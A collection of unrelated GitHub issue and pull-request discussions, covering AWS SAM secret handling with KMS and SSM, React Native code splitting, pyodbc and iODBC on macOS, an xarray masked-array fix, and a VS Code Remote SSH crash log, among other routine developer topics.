Also attached what the YTC settings looked like in the new YT

I don't know what to tell you about Chrome. I have both Mozilla and Chrome and when I resorted back to the old YouTube, Mozilla does great but Chrome is still screwed up.  They hardly have anything for YouTube and I found that when I did try tried to install them, they tried to cross sell other ones. The few that I thought I might like, they wanted me to buy.
In Mozilla I use GreaseMonkey for userscripts and when you go to a site and try to install a userscript, GreaseMonkey grabs it for you and installs it, making the YouTube Developers Build easy to install, but in Chrome I use TamperMonkey which is good also but Chrome tries to block to much. When I try to download the YTC userscript, TamperMonkey can't get it because Chrome just blocks it and says it cannot install from this site. Chrome is just not very userfriendly.

I'm glad for you Sam288. Thats what my YTC screen looked like also in Mozilla. I was very frustrated because YouTube Center Developers Build works the best off them all and YouTube is a big thing with me and some of these companies need to stop updating if everything is working fine because they just screw things up.

working now!

My Chrome is working now too. I found the button to reset it and now so far mine is working also.


Why is global registration recommended?

In the README, global registration of the component is recommended, and local registration seems to be left for compatibility.
Global registration generally makes tree-shaking difficult, so local registration superior.
I hope you continue to support local registration in future versions unless there is some obvious reason not to.
Thanks for this great library.

Before, I had some misconceptions about tree-shaking. After receiving your issue, I tested it and found that you are right. I will reconsider, and keep the feature for local registration. Thank you for your suggestion!

Thank you!


actually add 1m items

don't merge yet, this needs to run properly on backend and be fully tested as it takes a LONG time to run..

closing in favor of #146


Encrypt Variables

Hey! Awesome job by the way. I really love using this.
But I have a feature request (if it isn't already done)
With the cloudformation, can you specify encrypted? That way, when we use 'aws cloudformation deploy' it will go through, and encrypt with the KMS key you specify?
Something like this maybe
Environment:
  KmsKeyId: 1234-1234-1234-1234
  Variables:
    NON_SECRET: blah
    SECRET: !Encrypt this_gets_encrypted

Then we can just do the regular boto.kms.decrypt when we need to decrypt it in the lambda.

Also, with the documentation that you have on this github, it would be awesome if you put:
  Variables:
     ENV: boston```

Thanks for the feedback and glad that you like SAM.
Cloudformation does let you specify a KMS key that lambda will use to encrypt and decrypt your environment variables.
With this setup, you will not be decrypting the variables inside your lambda function code - lambda will do it using roles you provided. More description here.
Cloudformation and SAM do not currently support encryption helpers that Lambda console provides. I think this is what you are looking for - Ability to encrypt selected variables, and decrypt them inside lambda function code. As of now the only way to achieve this (other than through console) is to use client side encryption - use encrypted cipher text in your variables and then decrypt them in the lambda function code.

Yup. I think this would be great. That way on a aws cloudformation package it would encrypt on the clientside using boto3 / kms, and then would send the cloudformation template that way, just like it does with s3 objects when it packages.

FYI I did this in 3 steps:

Encrypt the key using aws cli:
aws kms encrypt --key-id KMS_KEY_ID --plaintext THE_SECRET_TOKEN

Include the encrypted token inside my SAM yaml:

Environment:
        Variables:
          SECRET_TOKEN: '...524krvmX9JA='

Within the lambda, decrypt the ENV. Ex using Python

import boto3
import os
from base64 import b64decode

ENCRYPTED = os.environ['SECRET_TOKEN']
DECRYPTED = boto3.client('kms').decrypt(CiphertextBlob=b64decode(ENCRYPTED))['Plaintext'].decode('utf-8')

With this approach, I can check in the encrypted key inside git and I don't have to enter the key from UI Console manually.

Just thinking out load.
Azure have the concept of the "Vault" as a Managed free service. The values created, can them be referenced from an ARM Template see  https://docs.microsoft.com/en-us/azure/azure-resource-manager/resource-manager-keyvault-parameter#reference-a-secret-with-static-id
Any option to do something similar with AWS ?

I solved this problem by creating a custom CFN resource that takes in a NoEcho parameter value and returns an encrypted blob to use in the lambda functions environment. The functions have appropriate decrypt/encrypt permissions via the key policy. See this fork:
https://github.com/jpompe-classy/lambda-backed-cloud-formation-kms-encryption

@jpompe-classy  oh nice, agreed. Using the NoEcho parameter is the best solution here. Forgot about that.
Thanks.

@vikrambhatt
Perhaps this isn't the right forum, but I'm working with this concept in my new role, and I'm having trouble understanding where the problem actually lies regarding the encryption of environment variables. To me, it seems perfectly capable right now with CloudFormation to encrypt and decrypt environment variables that are used in Lambda functions, simply by providing the KmsKey:

Cloudformation does let you specify a KMS key that lambda will use to encrypt and decrypt your environment variables ... With this setup, you will not be decrypting the variables inside your lambda function code - lambda will do it using roles you provided.

Maybe I am a newbie to the intricacies of security, but if Lambda does is using the roles provided along with the KmsKey to encrypt and decrypt, where is the security issue? I know you say that you "will not be decrypting the variables inside the Lambda function code" so where is the hole? Is it because they are decrypted at runtime via the role and KMS, and then transmitted back into the Lambda function as plain text? Whereas if we had helper code inserted (like in the console), the environment variables would always exist as Ciphertext until that line of helper code is executed during runtime, thus eliminating the possibility of someone intercepting the call from the Lambda function to KMS via the role to view the decrypted environment variable?

Is there any documentation on the !Encrypt intrinsic function?
My understanding of the function is that it will encrypt a string and then decrypt it for you in the lambda execution environment. The obvious issue with that is that the value has to be in plain text in your CFN template, or template parameters. It would be awesome if there was a !Decrypt function, where you could put KMS encrypted value in the CFN template and get the decryption functionality in the lambda environment.
We currently use the method of calling KMS in our function. We've noticed that it's pretty slow, about 4 seconds to decrypt.

@pacey I don't think !Encrypt function exist, it's just a suggested function for AWS to implement.
I recently learn about AWS SSM (System Store Manager), it's like Hashicorp Vault where you can store environment there and the good thing is CloudFormation can read from it.
So I've been using it to store my Secret there instead of using the 3 steps I suggested above. So it's 2 steps 2 now:

Update / Create the SSM key using AWS CLI:

aws ssm put-parameter --name "/dev/DB_PASS" --type "String" --value "StRONGPa$$%%@!!!"

In your sam template, import it like below. SSM supports string, list and secret, but looks like CloudFormation doesn't support secret field yet, so we have to store secret as string, still pretty secure if no one have access to your AWS SSM.

Parameters
  EnvDBPass:
    Type : 'AWS::SSM::Parameter::Value<String>'
    Default: /dev/DB_PASS

....

Resources:
  NetWorthFunction:
      Environment:
        Variables:
            SECRET_KEY: !Ref EnvDBPass

Full example: https://github.com/networth-app/networth/blob/040295e9dd9422ce67d7c9c872a4936d43ada4b2/api/template.yml

We wanted to know secured string for local and deployment purpose, it won't be used for runtime such as we wanted to configure VpcConfig but we don't want to use plaintext for security group id, subnet id. The configuration is per environment (different between test and prod). When we are working with serverless framework, we are able to implement using https://github.com/serverless/serverless-secrets-plugin.
Does anyone know any idea to implement using SAM?

@hoang-innomizetech Any values used for VpcConfig and in other areas of SAM need to be in plain text, which means that these values would be visible in the CloudFormation console. You could use parameter overrides to pass in these values to the template from wherever they are stored so they are not stored locally.

@keetonian Yeah, we use parameter but we don't have any way to toggle it such as disable for non-production environments.
Globals:
  Function:
    Runtime: nodejs8.10
    Timeout: 600
    MemorySize: 1024
    VpcConfig:
      SecurityGroupIds: !Split [',', !Ref SecurityGroupIds]
      SubnetIds: !Split [',', !Ref PrivateSubnetIds]
    Environment:
      Variables:
        ENV: !Ref 'Environment'

How can we disable or ignore configure Vpc for Lambda if these parameters are Empty or not supplied?

@vikrambhatt is there a way to encrypt the variables myself with the default KMS service key for Lambda?
The idea that Lambda automatically decrypts for me sounds nice, but I don't want to have my variables in cleartext in my VCS.


Update sourcecode to 0.2.5

Updates com.lihaoyi:sourcecode from 0.2.3 to 0.2.5.
GitHub Release Notes - Version Diff
I'll automatically update this PR to resolve conflicts as long as you don't change it yourself.
If you'd like to skip this version, you can just close this PR. If you have any feedback, just mention me in the comments below.
Configure Scala Steward for your repository with a .scala-steward.conf file.
Have a fantastic day writing Scala!

Ignore future updates
Add this to your .scala-steward.conf file to ignore future updates of this dependency:
updates.ignore = [ { groupId = "com.lihaoyi", artifactId = "sourcecode" } ]

labels: library-update, semver-patch

Superseded by #279.


Code splitting & OTA

How to separate js bundle into framework bundle and user code bundle?
and then ，When we publish a single file  to user's cell phone ,We Just need combine a single file to the base bundle.

That's a very neat idea to only send user application code to services like CodePush to make the payload smaller.
CC: @axemclion

so currently haul does not support code splitting? my app had large bundle size (4MB) and it effects app load time. I thought that because haul is based on webpack and webpack supports code splitting that it will be possible to load only what's necessary when app loads and the rest afterwards

Webpack needs the DOM to insert script tags when doing code splitting. Since we don't have DOM, it's not possible.
Also, as an app user I'm already used to download large apps, probably lazy loading code will not improve the experience at all.

@satya164 Why not use something similar to react-native unbundle. React Native already supports code splitting, we may jsut have to write a custom plugin to insert the hash file to indicate that this is an unbundle operation.

Yeah, I think eventually we want to do that. I was just saying that we probably cannot use webpack's code splitting feature as is right now.

There's also https://www.npmjs.com/package/xhr-eval-chunk-webpack-plugin

@satya164 Not sure if it might help, but this #182 changes target to webworker and polyfills importScripts so you can download anything you want and it will be eval'ed.

Is there a way to lazy load modules by using webpack dynamic import() but not result splitted bundles?

Wait, even if webpack requires the DOM, that is just for the target: web, if you use target: node, webpack will use just require statements! Has anyone played with this yet?

We use web workers target as closest to what plays nice with RN. While migrating to webpack 4 however, we feel like creating our own custom target to get rid of some nasty hacking

Besides the importScripts and eval, is there a reason the generic node target wasn't sufficient.

@TheLarkInn not that I know of. The only reason is the script loading mechanism. You can check the comments here https://github.com/callstack/haul/pull/182#discussion_r125022108

Here are the considirations I have when it comes to using node target:

RN doesn't have any require, module, __filename, __dirname variables defined, so there cannot be even single require call (unless we provide a async polyfill for it)
How would node target download hot-update{.json,.js}?
JS engine on Android is ancient and supports only ES5, so no new syntax/APIs in bootstrap code, unless we inject polyfills before it

And most importantly it still has to work properly in webworker, since with attached debugger the JS bundle will be executed in worker context.

So if you all know how to take this output, and stiched together set of bundles, "unbundled", and do whatevers needed for RN to consume it the right way, then we would be golden.

These are separate files but just loaded sequentially? According to RN docs it says its bin encoded blobs or something?

@zamotany they basically wrote a webpack require runtime and a custom chunk wrapper why I'm not sure still but it looks just like webpack had generated about x small common chunks that are sync loaded.

@Krizzu no, it was there for months but undocumented. Delta bundles are another thing, which we should investigate because the concept is pretty neat.
@TheLarkInn Ok, so the bundles are requested from JS side. Curious how they load it, since XMLHttpRequest is async in RN.

Hola, any update on this?

@zamotany Hey, sorry for taking so long to get back on this.
Okay, from what I understand, this is the equivalent of adding 8 scripts to your head and they all load. (With the unbundled one first). Basically each file executes sequentially and adds their modules on self (as seen above). Building it in the webworker target allows for this to happen.

Due to the nature of React Native, code splitting can be achieved using:

either dynamic imports import('something') with RAM bundles (ram-bundle command, https://facebook.github.io/react-native/docs/performance#enable-the-ram-format)
or with multi-bundle feature aka Apennine Architecture (multiple bundles + DLLs) once it's merged into the React Native


Test : Test Step1-Individual  of Phenopacket

Test Scenario :

Test adding details to Step1
Verify data is saved
Verify validation works for fields.

Sex is not saved when you first enter the step 1 details.

Age at clinical encounter is not saved.


Fix as_compatible_data for read-only np.ma.MaskedArray

[x] Tests added
[ ] User visible changes (including notable bug fixes) are documented in whats-new.rst
[ ] New functions/methods are listed in api.rst

I've marked this by accident, sorry @maxhollmann. Let us know when you feel this is ready

Hi @kmuehlbauer, no worries! It's in draft because can't figure out how to reproduce this bug for the tests. data[mask] = fill_value was crashing when I tried to create a DataArray from a non-writeable MaskedArray I got via netCDF4 from a remote source. data = np.asarray(data, dtype=dtype) didn't set writeable to true in that case, but it does when I create a non-writeable MaskedArray in the tests. Any ideas how to test this properly?

@maxhollmann I'll have a look into this, I think I've seen something like this some time ago.
Maybe you can add the tests to the PR or as comment? This might get more attention and will really help to debug.

@kmuehlbauer Sure, I pushed the test as I was hoping it would work.

@maxhollmann I've checked and memory served well, the following issue might be related: #2377. It looks like your use-case is at least connected to @gerritholl's. It would be great if you could add your original use case (as MCVE, if possible) to get more details.
A special case (masked in arrays) is discussed in #3955. As this might give additional information, it might not exactly fit your problem.

@kmuehlbauer For some reason I can't reproduce it anymore. I'll monitor whether it occurs again in the original situation and close this otherwise after some time.

@kmuehlbauer Do you need any adjustments to merge this?

@maxhollmann We might get at least some more views on this. There have been discussions on handling masked arrays and we should make sure this is exactly the solution we want to have.
@dcherian This changes as_compatible_data. Could you please have another look here? I'm a bit unclear about the implications.

@maxhollmann I'm sorry, I'm still finding my way into Xarray. I've taken a closer look at #2377, especially https://github.com/pydata/xarray/issues/2377#issuecomment-415074188.
There @shoyer suggested to just use:
data = duck_array_ops.where_method(data, ~mask, fill_value)

instead of
data[mask] = fill_value

I've checked and it works nicely with your test. That way we would get away without the flags test and the special handling will take place in duck_array_ops. Would be great if someone can double check.

I defer to @shoyer, the solution with where_method seems good to me.

I like it, solves the concern in my previous comment as well. Updated the branch.

Thanks @maxhollmann can you add a note to whats-new.rst please?

@dcherian Sure, done :)

Thanks @maxhollmann I pushed a test for #2377.
I see this is your first contribution to Xarray. Welcome! #1792 would be a nice contribution if you're looking for more to do ;)


add ColorZilla

This pull request is implemented against issue #24
Extension description
ColorZilla is the most user friendly, full-featured, secure and reliable color picker and color related suite of tools. It is one of the most popular Chrome and Firefox developer extensions with over 10 million downloads worldwide.
Why add this extension to awesome chrome extension repo?
Helps developer to pick favorite colors around the web pages

@RashakDude kindly merge it if there is no issue


Aws link

Resolve #551

Coverage decreased (-0.03%) to 91.168% when pulling 20287a0e371a57216f4806efffbd86ba33a5057b on aws-link into b602d90538a6989200ff8d5aaf7a59317deb323d on master.


Check for nil in dashboard heatmap service

Check for metric.cpu_usage_rate_average.nil? in deshboard heatmap service
When collecting metrics we got a metric with resource not nill but cpu_usage_rate_average is nill.
This PR helps not to crash the .../data ajax request in this case.

@miq-bot add_label providers/containers, ui
cc @cben @simon3z

@zeari this PR seems very similar to what you did few weeks ago IIRC. I didn't find your PR, can you review this and point us to the nil? checks you added in the past? Thanks!

@simon3z Right.
@yaacov We agreed on a different solution to this issue here: #7292

@yaacov check if in your case is possible to do something more similar to #7292

check if in your case is possible to do something more similar to #7292

Done. @zeari :+1: Thanks
cc @simon3z

I think this is actually the exact same case and that it needs the frontend parts as well.
Ill try to get #7292 merged quickly to solve it.

I think this is actually the exact same case

yes it is :-) just noticed that :+1:  ,
@simon3z , @zeari  this is a duplicate, closing


Add a quick start guide to the docs.

Resolves #52

I'm merging this without review due to time constraints.


Journaling local store operations

Insert / Update / Delete operations performed on the local store using the sync context will be logged to the operation table.
The operationTableManager module implements the operation table functionality
MobileServiceSyncContext module has been updated to log all write operations

+ @danderson00

What's the locking stuff about? Might be better to explain face to face.

We lock operations while a push is in progress. This is so that we don't condense other operations into this operation if we have already begun a push for it.

In reply to: 220097088 [](ancestors = 220097088)

Looks good, pending that minor refactor


Add error codes in validate_account_and_subdomain

The error cases in validate_account_and_subdomain are ones that clients are likely to want to be able to parse, e.g. the mobile/terminal apps will want to know if an authentication error is because of a deactivated realm for error handling.  REALM_DEACTIVATED and USER_DEACTIVATED are probably reasonable error code names.
We should open zulip-mobile and zulip-terminal issues to support the new error codes once we resolve this.
See ErrorCode in zerver/lib/exceptions.py for how to register these.
@gnprice FYI.

@zulipbot claim


Remove migrated buildbot workers.

This change is

r? @Manishearth

@bors-servo r+

:pushpin: Commit 4392d85 has been approved by Manishearth

:hourglass: Testing commit 4392d85211b515c427139091b4f89b4961860a54 with merge 0284610c2a22bc7b63321d5c98bc1edff678d874...

:broken_heart: Test failed - checks-travis

@bors-servo r=Manishearth

:pushpin: Commit 022ff12 has been approved by Manishearth

:hourglass: Testing commit 022ff1254cf61a4df275eea59c42560b44805349 with merge c18e786a255679a3f8748adb0adb7fd4320e7a5c...

:sunny: Test successful - checks-travis
Approved by: Manishearth
Pushing c18e786a255679a3f8748adb0adb7fd4320e7a5c to master...


pyodbc, macOS, and iODBC

Environment

Python: any
pyodbc: any
OS: macOS / OS X / Mac OS X
DB: any ODBC- or JDBC-accessible DB
driver: any iODBC-compatible driver

Issue
pyodbc on macOS doesn't work with ODBC drivers that work with iODBC and with their other macOS apps (Microsoft Excel, Tableau, Stata, etc.).
pyodbc documentation all pushes unixODBC, which requires extra installation on macOS.  UnixODBC does not make use of the default macOS ODBC configuration file and driver locations (/Library/ODBC/ and ~/Library/ODBC/), among other departures from conventional Mac operation.  UnixODBC has no macOS-native implementation (Frameworks, admin apps, etc.), while iODBC has always provided fully-native implementation (Frameworks, dylibs, admin apps, sample apps, etc.).
Apple has shipped iODBC libraries (in dylib form) in macOS (a/k/a OS X, a/k/a Mac OS X) since 10.3.x, and continues to do so in 10.13.x.
iODBC has been built and updated for compatibility with all versions of Mac OS X since 10.0, provided as both dylibs and Frameworks.
We (OpenLink Software -- maintainers of iODBC since the 1990s, vendor of ODBC drivers and various other products, and my employer) would like to help you get pyodbc built and working properly with the macOS-native iODBC (whether you link to the dylibs or the Frameworks; we do recommend the latter, as chosen by most macOS GUI developers, including Microsoft).  (Of course, you can continue providing the UnixODBC-linked version, but this should be a user-chosen-option, not a forced break from everything else macOS.)
We do not expect you'll have much if any difficulty, but if you do, please use open a Case in our Support System.

iODBC used to be the default DM for macOS builds, but I thought Apple stopped shipping it quite a while back.  They also added deprecation warnings to the header files.
I would be happy to support both on macOS, but will need to figure out how to support both cleanly.  Simply using the first one found leads to tons of questions since it might not be the one the user actually wants.
I'm very hesitant to make iODBC the default, particularly with pip provided binaries.  I like to get paid for my work too, but a lot of the drivers use the open source unixODBC.  Users of pip may not be familiar with things as simple as setup.cfg files, etc.  If there was an easy way to add flags to pip requirement files it would be easier.  Perhaps on macOS I provide two different packages, specific to the driver manager?
Maybe there is some way to build 2 different dynamically loadable backends, and require some initial configuration when connecting?  pyodbc.iodbc.connect vs pyodbc.unixodbc.connect?
Any suggestions on how to support both?

iODBC remains the default in macOS, as of 10.13.3.
Apple did stop shipping their home-grown ODBC Administrator.app some while ago, and told us (i.e., OpenLink) that they would encourage users to shift to the iODBC Administrator.app (and iODBC Administrator64.app) which we had provided from day one.
Apple never did ship the Frameworks build of iODBC, for reasons we were never told, which remains surprising and frustrating, as many significant apps (not least being Microsoft Office) build against and require the Frameworks; they cannot operate with just the dylibs -- which also means they cannot run with just unixODBC, in its standard build.
Your comment about "the open source unixODBC" suggests that you may not realize that iODBC is also open source and is also here on github.
iODBC and unixODBC are generally API-equivalent from the application and driver perspective.  iODBC has full macOS-native UI implementation (and has since roughly Mac OS 9.0), which differs from unixODBC.  Homebrew and MacPorts projects do tend to have different variants for linking to iODBC vs unixODBC, because these are built on each user's machine, and the user might prefer to link to Frameworks vs dylibs, or to dylibs in /usr/lib vs /lib.  Once built, the binaries don't usually care, as long as the library names and locations are consistent, as they are in a default environment.
You building against iODBC, whether Frameworks or dylibs, does not limit user choice of drivers in any way.  FOSS and commercial drivers alike build and work fine, with no cost for use of the iODBC SDK.

I am unsure if this issue is related in any way to the ones opened by me (pip and pip3 failing on MacOS 10.12). But would it be possible to fall back to the preinstalled iODBC, if no unixODBC can be found in the usual places?
Looking at "setup.py (starting around line 162) there would be three places to look in?
We have been using PyODBC for years very succesfully to automatically store data into FileMaker DB on MacOS.
Many thanks.

Any workaround??  That would be helpful.
Strangely enough, I don't understand why MSQL-Tools works while Python doesn't.
Ok! I'm a newbie with MacOS cmdline which I'm trying to get used to.  I got must of what I want to use set on my test MacOS.
Any help would be great!
:)

I don't understand why MSQL-Tools works while Python doesn't.

That uses the Microsoft ODBC Driver for SQL Server ("msodbcsql"), which depends on and thus installs unixODBC. Note that msodbcsql cannot be used with iODBC since it is currently a UTF-16 driver only, whereas iODBC is UTF-32.

I've been using Ubuntu and CentOS with Anaconda 3.6 Python (SQLServer installed).  Then, I got msodbcsql17 installed with no issues.

Then, on MacOS, I install both the msodbcsql17 with mssql-tools-Tools and is working.  (https://docs.microsoft.com/en-us/sql/connect/odbc/linux-mac/installing-the-microsoft-odbc-driver-for-sql-server?view=sql-server-2017#os-x-1011-el-capitan-macos-1012-sierra-and-macos-1013-high-sierra)

There's a blog post that saying the ini file is missing from a user folder. But using Finder seems restricting getting to those folder (contrary to using Nautilus in Linux).
Then again, I'm new to Mac!
So, I'm thinking, if this is working for MS SqlCmd then it should have work for Python.
:)

@TallTed I'm still not clear on the state of ODBC on the Mac and I need to spend some time looking at the Frameworks vs dylibs.  However, I don't think that would really provide a way forward.  My problem right now is a lot of people don't want to build from source on macOS and expect pyodbc wheels to work out of the box.  IIRC, the two projects have different Unicode character implementation sizes (not sure what term to use here ;) which is compile-time info, not to mention the linking the to the libraries.
If half of the users use unixODBC (via brew, usually) and half want iODBC, making either the default is not going to work well.  The only way I can see this working is to make pyodbc-unixodbc and pyodbc-iodbc for macOS, which I'm not fond of.  Am I missing anything?
Probably the first step is to make compiling with iODBC an option via the setup.cfg file and a command-line option just to get it back to a testable state.  Does that sound right to you?

There is a more recent parallel discussion at #444

@TallTed I'm still not clear on the state of ODBC on the Mac and I need to spend some time looking at the Frameworks vs dylibs. However, I don't think that would really provide a way forward. My problem right now is a lot of people don't want to build from source on macOS and expect pyodbc wheels to work out of the box. IIRC, the two projects have different Unicode character implementation sizes (not sure what term to use here ;) which is compile-time info, not to mention the linking the to the libraries.
If half of the users use unixODBC (via brew, usually) and half want iODBC, making either the default is not going to work well. The only way I can see this working is to make pyodbc-unixodbc and pyodbc-iodbc for macOS, which I'm not fond of. Am I missing anything?
Probably the first step is to make compiling with iODBC an option via the setup.cfg file and a command-line option just to get it back to a testable state. Does that sound right to you?

I suppose this would be what I was asking about in #385 ?

Closing due to inactivity.  Please reopen if this is still an issue.


Remote SSH error: Remote Extension host terminated unexpectedly 3 times within the last 5 minutes.

Does this issue occur when all extensions are disabled?: Yes

VS Code Version:
OS Version:

Copy from about:
版本: 1.85.2 (user setup)
提交: 8b3775030ed1a69b13e4f4c628c612102e30a681
日期: 2024-01-18T06:40:10.514Z
Electron: 25.9.7
ElectronBuildId: 26354273
Chromium: 114.0.5735.289
Node.js: 18.15.0
V8: <IP_ADDRESS>-electron.0
OS: Windows_NT x64 10.0.22631

Steps to Reproduce:

Create a new virtual machine and git pull one of my repositories from GitHub
Connect using Remote SSH and open the repository folder

I only have a couple of theme plugins installed on my client, and I still have the problem after disabling the plugins.

Chinese (Simplified) (简体中文) Language Pack for Visual Studio Code v1.85.2024012409
GitHub Theme v6.3.4
IntelliCode v1.2.30 disabled, not install on remote
IntelliCode API Usage Examples v0.2.8 disabled, not install on remote
Prettier - Code formatter v10.1.0 disabled, not install on remote
Remote - SSH v0.107.1
Remote - SSH: Editing Configuration Files v0.86.0
Remote Explorer v0.4.1
vscode-icons v12.7.0
YAML v1.14.0 disabled, not install on remote

vscode logs:
2024-01-30 23:58:26.568 [info] Automatically restarting the remote extension host.
2024-01-30 23:58:26.568 [info] Creating a socket (renderer-ExtensionHost-ffcbcaaa-f947-402a-a080-7d8224e8223b)...
2024-01-30 23:58:26.574 [info] Creating a socket (renderer-ExtensionHost-ffcbcaaa-f947-402a-a080-7d8224e8223b) was successful after 5 ms.
2024-01-30 23:58:28.791 [info] [remote-connection][ExtensionHost][ffcbc…][reconnect] received socket close event (wasClean: false, code: 1006, reason: ).
2024-01-30 23:58:28.791 [error] {"isTrusted":true}
2024-01-30 23:58:28.791 [info] [remote-connection][ExtensionHost][ffcbc…][reconnect] starting reconnecting loop. You can get more information with the trace log level.
2024-01-30 23:58:28.791 [info] [remote-connection][ExtensionHost][ffcbc…][reconnect] resolving connection...
2024-01-30 23:58:28.791 [info] [remote-connection][ExtensionHost][ffcbc…][reconnect] connecting to WebSocket(<IP_ADDRESS>:51631)...
2024-01-30 23:58:28.791 [info] Creating a socket (renderer-ExtensionHost-ffcbcaaa-f947-402a-a080-7d8224e8223b)...
2024-01-30 23:58:28.812 [info] Creating a socket (renderer-ExtensionHost-ffcbcaaa-f947-402a-a080-7d8224e8223b) was successful after 21 ms.
2024-01-30 23:58:28.817 [info] [remote-connection][ExtensionHost][ffcbc…][reconnect] received socket close event (wasClean: false, code: 1006, reason: ).
2024-01-30 23:58:28.817 [error] {"isTrusted":true}
2024-01-30 23:58:28.817 [error] [remote-connection][ExtensionHost][ffcbc…][reconnect][WebSocket(<IP_ADDRESS>:51631)] received error control message when negotiating connection. Error:
2024-01-30 23:58:28.817 [error] Error: Connection error: Unknown reconnection token (seen before)
    at x (vscode-file://vscode-app/c:/Users/62592/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/workbench.desktop.main.js:676:23227)
    at o.value (vscode-file://vscode-app/c:/Users/62592/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/workbench.desktop.main.js:676:14812)
    at u.y (vscode-file://vscode-app/c:/Users/62592/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/workbench.desktop.main.js:87:1902)
    at u.fire (vscode-file://vscode-app/c:/Users/62592/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/workbench.desktop.main.js:87:2119)
    at s.fire (vscode-file://vscode-app/c:/Users/62592/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/workbench.desktop.main.js:616:14449)
    at b.z (vscode-file://vscode-app/c:/Users/62592/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/workbench.desktop.main.js:616:17548)
    at o.value (vscode-file://vscode-app/c:/Users/62592/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/workbench.desktop.main.js:616:16919)
    at u.y (vscode-file://vscode-app/c:/Users/62592/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/workbench.desktop.main.js:87:1902)
    at u.fire (vscode-file://vscode-app/c:/Users/62592/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/workbench.desktop.main.js:87:2119)
    at o.acceptChunk (vscode-file://vscode-app/c:/Users/62592/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/workbench.desktop.main.js:616:12223)
    at vscode-file://vscode-app/c:/Users/62592/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/workbench.desktop.main.js:616:11510
    at o.value (vscode-file://vscode-app/c:/Users/62592/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/workbench.desktop.main.js:676:4915)
    at u.y (vscode-file://vscode-app/c:/Users/62592/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/workbench.desktop.main.js:87:1902)
    at u.fire (vscode-file://vscode-app/c:/Users/62592/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/workbench.desktop.main.js:87:2119)
    at j.onload (vscode-file://vscode-app/c:/Users/62592/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/workbench.desktop.main.js:676:3306)
2024-01-30 23:58:28.817 [error] [remote-connection][ExtensionHost][ffcbc…][reconnect] A permanent error occurred in the reconnecting loop! Will give up now! Error:
2024-01-30 23:58:28.818 [error] Error: Connection error: Unknown reconnection token (seen before)
    at x (vscode-file://vscode-app/c:/Users/62592/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/workbench.desktop.main.js:676:23227)
    at o.value (vscode-file://vscode-app/c:/Users/62592/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/workbench.desktop.main.js:676:14812)
    at u.y (vscode-file://vscode-app/c:/Users/62592/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/workbench.desktop.main.js:87:1902)
    at u.fire (vscode-file://vscode-app/c:/Users/62592/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/workbench.desktop.main.js:87:2119)
    at s.fire (vscode-file://vscode-app/c:/Users/62592/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/workbench.desktop.main.js:616:14449)
    at b.z (vscode-file://vscode-app/c:/Users/62592/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/workbench.desktop.main.js:616:17548)
    at o.value (vscode-file://vscode-app/c:/Users/62592/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/workbench.desktop.main.js:616:16919)
    at u.y (vscode-file://vscode-app/c:/Users/62592/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/workbench.desktop.main.js:87:1902)
    at u.fire (vscode-file://vscode-app/c:/Users/62592/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/workbench.desktop.main.js:87:2119)
    at o.acceptChunk (vscode-file://vscode-app/c:/Users/62592/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/workbench.desktop.main.js:616:12223)
    at vscode-file://vscode-app/c:/Users/62592/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/workbench.desktop.main.js:616:11510
    at o.value (vscode-file://vscode-app/c:/Users/62592/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/workbench.desktop.main.js:676:4915)
    at u.y (vscode-file://vscode-app/c:/Users/62592/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/workbench.desktop.main.js:87:1902)
    at u.fire (vscode-file://vscode-app/c:/Users/62592/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/workbench.desktop.main.js:87:2119)
    at j.onload (vscode-file://vscode-app/c:/Users/62592/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/workbench.desktop.main.js:676:3306)
2024-01-30 23:58:28.823 [error] Extension host (Remote) terminated unexpectedly with code null.
2024-01-30 23:58:28.823 [error] Extension host (Remote) terminated unexpectedly. The following extensions were running: vscode.emmet, vscode.git-base, vscode.git, vscode.github, vscode.debug-auto-launch, vscode.merge-conflict
2024-01-31 00:00:07.268 [error] There are no commenting ranges at the current position.: Error: There are no commenting ranges at the current position.
    at O.addCommentAtLine (vscode-file://vscode-app/c:/Users/62592/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/workbench.desktop.main.js:2063:2555)
    at O.addOrToggleCommentAtLine (vscode-file://vscode-app/c:/Users/62592/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/workbench.desktop.main.js:2063:2087)
    at O.Y (vscode-file://vscode-app/c:/Users/62592/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/workbench.desktop.main.js:2063:1793)
